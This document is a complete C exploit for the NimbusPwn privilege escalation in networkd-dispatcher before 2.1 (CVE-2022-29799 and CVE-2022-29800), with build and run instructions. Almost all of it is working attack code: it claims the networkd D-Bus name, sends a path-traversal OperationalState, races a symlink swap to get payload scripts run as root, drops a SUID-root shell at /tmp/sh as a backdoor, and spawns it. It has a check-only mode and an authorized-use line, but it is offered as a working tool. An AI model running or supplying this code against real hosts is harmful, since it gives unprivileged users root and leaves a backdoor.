README.md
Rendering markdown...
// Exploit Title: networkd-dispatcher < 2.1 - Local Privilege Escalation (NimbusPwn)
// Date: 2026-06-17
// Exploit Author: Joshua van der Poll (https://github.com/joshuavanderpoll)
// Vendor Homepage: https://gitlab.com/craftyguy/networkd-dispatcher
// Software Link: https://gitlab.com/craftyguy/networkd-dispatcher/-/archive/2.0/networkd-dispatcher-2.0.tar.gz
// Version: < 2.1 (tested on 2.0)
// Tested on: Ubuntu 20.04.6 LTS (Docker)
// CVE: CVE-2022-29799, CVE-2022-29800
//
// Impact: an unprivileged local user gets a root shell. networkd-dispatcher does
// not sanitize the OperationalState it receives over D-Bus (CVE-2022-29799, path
// traversal); combined with a symlink TOCTOU on the script directory
// (CVE-2022-29800) the root daemon executes attacker-controlled scripts.
//
// Build: cc nimbuspwn.c -o nimbuspwn $(pkg-config --cflags --libs dbus-1)
// Run: ./nimbuspwn [--check] [-s SHELL] unprivileged user, authorized targets only
#include <dbus/dbus.h>
#include <dirent.h>
#include <fcntl.h>
#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <time.h>
#include <unistd.h>
#define BUS_NAME "org.freedesktop.network1"
#define OBJ_PATH "/org/freedesktop/network1/link/_32"
#define PROP_IFACE "org.freedesktop.DBus.Properties"
#define LINK_IFACE "org.freedesktop.network1.Link"
#define SBIN "/sbin"
#define DST "/tmp/sh"
#define ATTEMPTS 10
#define CLR_RED "\033[91m"
#define CLR_GRN "\033[92m"
#define CLR_YEL "\033[93m"
#define CLR_BLU "\033[94m"
#define CLR_PNK "\033[95m"
#define CLR_CYN "\033[96m"
#define CLR_BLD "\033[1m"
#define CLR_RST "\033[0m"
#define REPO \
"https://github.com/joshuavanderpoll/NimbusPWN-CVE-2022-29799-29800"
#define P_ERR CLR_RED "[-] "
#define P_OK CLR_GRN "[+] "
#define P_ASK CLR_YEL "[?] "
#define P_INFO CLR_BLU "[*] "
#define P_PROC CLR_CYN "[@] "
// Only the shell path tends to differ between hosts.
static const char *g_shell = "/bin/sh";
static char PAYLOAD[512];
// Drop a SUID-root copy of the shell so we can re-enter as root.
static void build_payload(void)
{
snprintf(PAYLOAD, sizeof PAYLOAD,
"#!/bin/sh\n"
"cp %s %s\n"
"chmod 4777 %s\n",
g_shell, DST, DST);
}
static const char *base_name(const char *path)
{
const char *slash = strrchr(path, '/');
return slash ? slash + 1 : path;
}
// Grab the well-known name. If it is already owned, the host is not vulnerable.
static DBusConnection *claim_bus(void)
{
DBusError err;
dbus_error_init(&err);
DBusConnection *conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, P_ERR "system bus: %s" CLR_RST "\n", err.message);
dbus_error_free(&err);
return NULL;
}
int r = dbus_bus_request_name(conn, BUS_NAME, DBUS_NAME_FLAG_DO_NOT_QUEUE,
&err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, P_ERR "request_name: %s" CLR_RST "\n", err.message);
dbus_error_free(&err);
return NULL;
}
if (r != DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER) {
fprintf(stderr,
P_ERR "could not own %s (taken? not vulnerable)" CLR_RST "\n",
BUS_NAME);
return NULL;
}
printf(P_OK "owned %s" CLR_RST "\n", BUS_NAME);
return conn;
}
// Non-breaking check: owning the name is the NimbusPwn precondition. We claim
// it, report, and release it again without planting payloads or racing.
static int check_target(void)
{
DBusConnection *conn = claim_bus();
if (!conn) {
printf(P_INFO "verdict: not vulnerable" CLR_RST "\n");
return 1;
}
printf(
P_OK
"verdict: likely vulnerable (%s is claimable, no privesc tried)" CLR_RST
"\n",
BUS_NAME);
dbus_bus_release_name(conn, BUS_NAME, NULL);
return 0;
}
// Emit PropertiesChanged (sa{sv}as) with the traversal string as
// OperationalState. That string is what the daemon fails to sanitize.
static int send_signal(DBusConnection *conn, const char *state)
{
DBusMessage *msg =
dbus_message_new_signal(OBJ_PATH, PROP_IFACE, "PropertiesChanged");
if (!msg) {
fprintf(stderr, P_ERR "new_signal failed" CLR_RST "\n");
return -1;
}
DBusMessageIter args, dict, entry, var, arr;
dbus_message_iter_init_append(msg, &args);
const char *iface = LINK_IFACE;
dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, &iface);
dbus_message_iter_open_container(&args, DBUS_TYPE_ARRAY, "{sv}", &dict);
dbus_message_iter_open_container(&dict, DBUS_TYPE_DICT_ENTRY, NULL, &entry);
const char *key = "OperationalState";
dbus_message_iter_append_basic(&entry, DBUS_TYPE_STRING, &key);
dbus_message_iter_open_container(&entry, DBUS_TYPE_VARIANT, "s", &var);
dbus_message_iter_append_basic(&var, DBUS_TYPE_STRING, &state);
dbus_message_iter_close_container(&entry, &var);
dbus_message_iter_close_container(&dict, &entry);
dbus_message_iter_close_container(&args, &dict);
dbus_message_iter_open_container(&args, DBUS_TYPE_ARRAY, "s", &arr);
dbus_message_iter_close_container(&args, &arr);
dbus_uint32_t serial = 0;
if (!dbus_connection_send(conn, msg, &serial)) {
fprintf(stderr, P_ERR "send failed" CLR_RST "\n");
dbus_message_unref(msg);
return -1;
}
dbus_connection_flush(conn);
dbus_message_unref(msg);
printf(P_INFO "signal sent (serial %u)" CLR_RST "\n", serial);
return 0;
}
// Point poc.d at /sbin so the daemon's root-owned check passes, then plant a
// payload named after every root-owned binary it will find there.
static int prepare_dir(const char *base)
{
if (mkdir(base, 0755) != 0) {
perror("mkdir");
return -1;
}
char link[512];
snprintf(link, sizeof link, "%s/poc.d", base);
if (symlink(SBIN, link) != 0) {
perror("symlink /sbin");
return -1;
}
DIR *d = opendir(SBIN);
if (!d) {
perror("opendir /sbin");
return -1;
}
struct dirent *de;
int planted = 0;
while ((de = readdir(d)) != NULL) {
char full[1024];
snprintf(full, sizeof full, "%s/%s", SBIN, de->d_name);
struct stat st;
if (stat(full, &st) != 0)
continue;
if (!S_ISREG(st.st_mode))
continue;
if (st.st_uid != 0)
continue;
if (access(full, X_OK) != 0)
continue;
char dst[1024];
snprintf(dst, sizeof dst, "%s/%s", base, de->d_name);
int fd = open(dst, O_WRONLY | O_CREAT | O_TRUNC, 0777);
if (fd < 0)
continue;
write(fd, PAYLOAD, strlen(PAYLOAD));
close(fd);
chmod(dst, 0777);
planted++;
}
closedir(d);
printf(P_OK "planted %d payloads (root-owned /sbin execs) in %s" CLR_RST
"\n",
planted, base);
return 0;
}
// Flip poc.d from /sbin to our payloads. This is the TOCTOU window.
static int swap_symlink(const char *base)
{
char link[512];
snprintf(link, sizeof link, "%s/poc.d", base);
unlink(link);
if (symlink(base, link) != 0) {
perror("symlink swap");
return -1;
}
return 0;
}
static void cleanup(const char *base)
{
char cmd[600];
snprintf(cmd, sizeof cmd, "rm -rf %s", base);
system(cmd);
}
static void usage(const char *prog)
{
fprintf(
stderr,
"Usage: %s [-c] [-s SHELL] [-h]\n"
" -c, --check non-breaking vuln check, no exploitation\n"
" -s, --shell SHELL shell to SUID-copy and spawn as root (default "
"%s)\n"
" -h, --help show this help\n",
prog, g_shell);
}
int main(int argc, char **argv)
{
printf(CLR_PNK CLR_BLD REPO CLR_RST "\n");
static struct option long_opts[] = {{"check", no_argument, 0, 'c'},
{"shell", required_argument, 0, 's'},
{"help", no_argument, 0, 'h'},
{0, 0, 0, 0}};
int check_mode = 0;
int opt;
while ((opt = getopt_long(argc, argv, "cs:h", long_opts, NULL)) != -1) {
switch (opt) {
case 'c':
check_mode = 1;
break;
case 's':
g_shell = optarg;
break;
case 'h':
usage(argv[0]);
return 0;
default:
usage(argv[0]);
return 1;
}
}
if (check_mode)
return check_target();
if (access(g_shell, X_OK) != 0) {
fprintf(stderr, P_ERR "shell %s not executable, try -s" CLR_RST "\n",
g_shell);
return 1;
}
build_payload();
printf(P_INFO "shell=%s drop=%s attempts=%d" CLR_RST "\n", g_shell, DST,
ATTEMPTS);
srand((unsigned)time(NULL) ^ getpid());
DBusConnection *conn = claim_bus();
if (!conn)
return 1;
for (int attempt = 1; attempt <= ATTEMPTS; attempt++) {
char base[256];
snprintf(base, sizeof base, "/tmp/nimbuspwn_%d", rand() % 100000);
printf(P_PROC "attempt %d (%s)" CLR_RST "\n", attempt, base);
if (prepare_dir(base) != 0) {
cleanup(base);
continue;
}
// ../../.. climbs out of /etc/networkd-dispatcher back to our base,
// so <state>.d resolves to base/poc.d (the symlink we control).
char state[320];
snprintf(state, sizeof state, "../../..%s/poc", base);
printf(P_INFO "OperationalState: %s" CLR_RST "\n", state);
if (send_signal(conn, state) != 0) {
cleanup(base);
continue;
}
// give the daemon a moment to start enumerating /sbin
usleep(100 * 1000);
swap_symlink(base);
printf(P_PROC "symlink swapped, waiting for root exec" CLR_RST "\n");
sleep(4);
if (access(DST, F_OK) == 0) {
printf(P_OK "root backdoor at %s, spawning shell" CLR_RST "\n",
DST);
cleanup(base);
printf(CLR_YEL "⭐ If this tool helped you, consider starring the "
"repo: " CLR_BLD CLR_YEL REPO CLR_RST "\n");
fflush(stdout);
// -p keeps euid=0 instead of dropping back to our uid
execl(DST, base_name(g_shell), "-p", (char *)NULL);
perror("execl");
return 0;
}
cleanup(base);
}
fprintf(stderr, P_ERR
"all attempts failed (patched or not vulnerable)" CLR_RST "\n");
return 1;
}